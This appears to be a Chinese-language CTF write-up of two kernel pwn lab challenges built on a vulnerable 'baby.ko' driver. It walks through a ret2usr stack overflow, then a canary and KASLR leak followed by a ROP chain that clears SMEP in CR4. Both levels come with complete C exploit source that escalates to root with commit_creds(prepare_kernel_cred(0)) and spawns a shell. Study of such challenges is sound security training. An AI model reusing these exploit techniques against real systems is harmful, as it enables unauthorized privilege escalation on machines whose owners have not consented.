Kernel 的调试真的是 tttttt 难了
ret2text
level 1
Kernel 的入门题,一个栈溢出程序,文件保护如下:
1 2 3 4 5
| Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x0)
|
startvm.sh 文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/bin/bash
stty intr ^] cd `dirname $0` timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ -monitor /dev/null \ -initrd rootfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64 2>/dev/null
|
我们修改启动脚本,在后面加上一个 -s 用以调试
rcS 文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #!/bin/sh
mount -t devtmpfs none /dev mount -t proc proc /proc
insmod /home/pwn/baby.ko chmod 644 /dev/baby echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f
|
打开程序查看主要函数:
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __usercall ioctl@<rax>(__int64 a1@<rbp>, __int64 command@<rsi>, __int64 a3@<rdi>) { __int64 v3; __int64 v5; __int64 v6;
_fentry__(a3, command); if ( command != 0x6001 ) return 0LL; v6 = a1; return copy_from_user(&v5, v3, 0x100LL); }
|
可以看到这里有一个栈溢出漏洞,我们可以向内核写入 0x88 个垃圾数据,最后一位覆盖为用于我们写的 templine 的函数地址
先要用 save_status 函数保存用户态的寄存器数据,在内核态返回到用户态的时候,会用到最后用户态的寄存器数据
templine 函数的意思是先在内核态调用 prepare_kernel_cred 函数更改里面的用户为 root 用户,然后再返回用户态
因为是 64 的程序,要写 swapgs 和 iretq,如果是 32 位的程序,写一个 iret 就够了,用于中断内核态返回用户态
返回到提权函数即可 以 root 权限启动 shell
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| #include <err.h> #include <fcntl.h> #include <stdint.h>
struct trap_frame{ void *rip; uint64_t cs; uint64_t rflags; void * rsp; uint64_t ss; }__attribute__((packed)); struct trap_frame tf;
uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810b99d0; uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;
void shell(){ system("/bin/sh"); }
void templine(){ commit_creds(prepare_kernel_cred(0)); asm( "movq $tf, %rsp;" "swapgs;" "iretq;" ); }
void save_status(){ asm( "mov %%cs, %0;" "mov %%ss,%1;" "mov %%rsp,%3;" "pushfq;" "popq %2;" :"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp) : : "memory" ); tf.rsp -= 0x1000; tf.rip = &shell; }
int main(){ save_status(); uint64_t temp[0x100]; int driver_fd = open("/dev/baby", O_RDONLY); if(driver_fd < 0){ err(2, "open failed"); } temp[17] = &templine; ioctl(driver_fd, 0x6001, &temp); return 0; }
|
bypass smep
level2
文件保护如下:
1 2 3 4 5
| Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
|
startvm.sh 文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/bin/bash
stty intr ^] cd `dirname $0` timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64,smep,smap 2>/dev/null
|
rcS 文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #!/bin/sh
mount -t devtmpfs none /dev mount -t proc proc /proc
insmod /home/pwn/baby.ko chmod 644 /dev/baby echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f
|
在 root 权限下测得程序不开 kaslr 的基地址为 0xffffffffc0002000
查看程序主要函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 __usercall ioctl@<rax>(__int64 a1@<rbp>, int a2@<esi>) { __int64 v2; __int64 v4; unsigned __int64 v5; __int64 v6;
_fentry__(); v6 = a1; v5 = __readgsqword(0x28u); if ( a2 == 0x6001 ) return copy_from_user(&v4, v2, 512LL); if ( a2 == 0x6002 ) return copy_to_user(v2, &v4, 512LL); return 0LL; }
|
可以看到 copy_from_user 函数存在栈溢出,我们可以依靠这个栈溢出
先写一个 for 循环依次显示每个下标所对应的数值,以此泄露 canary 和栈地址
先泄露不开 kaslr 的栈地址,然后写入到 poc 里,再泄露开 kaslr 的栈地址,与它做减法就能得到偏移
然后从 vmlinux 中提取 rop 链,我们要绕过 smep 需要把 cr4 寄存器的第 20 位改为 0 ,一般修改为 0x6f0
先提取pop rdi ; ret
,将 0x6f0 放入 rdi 中,之后再利用mov cr4, rdi ; pop rbp ; ret
修改 cr4 寄存器即可
最后返回到 templine 函数获得 root 用户的权限再回到用户态,依靠之前 save_status 设置的寄存器状态跳转到 shell 函数提权
记得 commit_creds 和 prepare_kernel_cred 也是要加上偏移的!!!
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| #include <err.h> #include <fcntl.h> #include <stdint.h>
struct trap_frame{ void *rip; uint64_t cs; uint64_t rflags; void * rsp; uint64_t ss; }__attribute__((packed)); struct trap_frame tf;
uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810b99d0; uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;
void shell(){ system("/bin/sh"); }
void templine(){ commit_creds(prepare_kernel_cred(0)); asm( "movq $tf, %rsp;" "swapgs;" "iretq;" ); }
void save_status(){ asm( "mov %%cs, %0;" "mov %%ss,%1;" "mov %%rsp,%3;" "pushfq;" "popq %2;" :"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp) : : "memory" ); tf.rsp -= 0x1000; tf.rip = &shell; }
int main(){ save_status(); uint64_t temp[0x200]; int driver_fd = open("/dev/baby", O_RDONLY); if(driver_fd < 0){ err(2, "open failed"); } ioctl(driver_fd, 0x6002, &temp); int i; for(i = 0; i < 0x100; ++i){ printf("[0x%03x] %p\n", i, temp[i]); } uint64_t stack_no_kaslr = 0xffffffff8129b078; uint64_t stackbase = temp[0x009] - stack_no_kaslr; uint64_t iCanary = temp[0x00d]; uint64_t rop_mov_cr4_rdi = stackbase + 0xffffffff81020300; uint64_t rop_pop_rdi_ret = stackbase + 0xffffffff8100631d; commit_creds += stackbase; prepare_kernel_cred += stackbase; printf("[+]stack_no_kaslr = %p\n", stack_no_kaslr); printf("[+]iCanary = %p\n", iCanary); printf("[+]rop_pop_rdi_ret = %p\n", rop_pop_rdi_ret); printf("[+]rop_mov_cr4_rdi = %p\n", rop_mov_cr4_rdi); printf("[+]commit_creds = %p\n", commit_creds); printf("[+]prepare_kernel_cred = %p\n", prepare_kernel_cred); i = 0x10; temp[i++] = iCanary; i++; temp[i++] = rop_pop_rdi_ret; temp[i++] = 0x6f0; temp[i++] = rop_mov_cr4_rdi; i++; temp[i++] = &templine; ioctl(driver_fd, 0x6001, &temp); return 0; }
|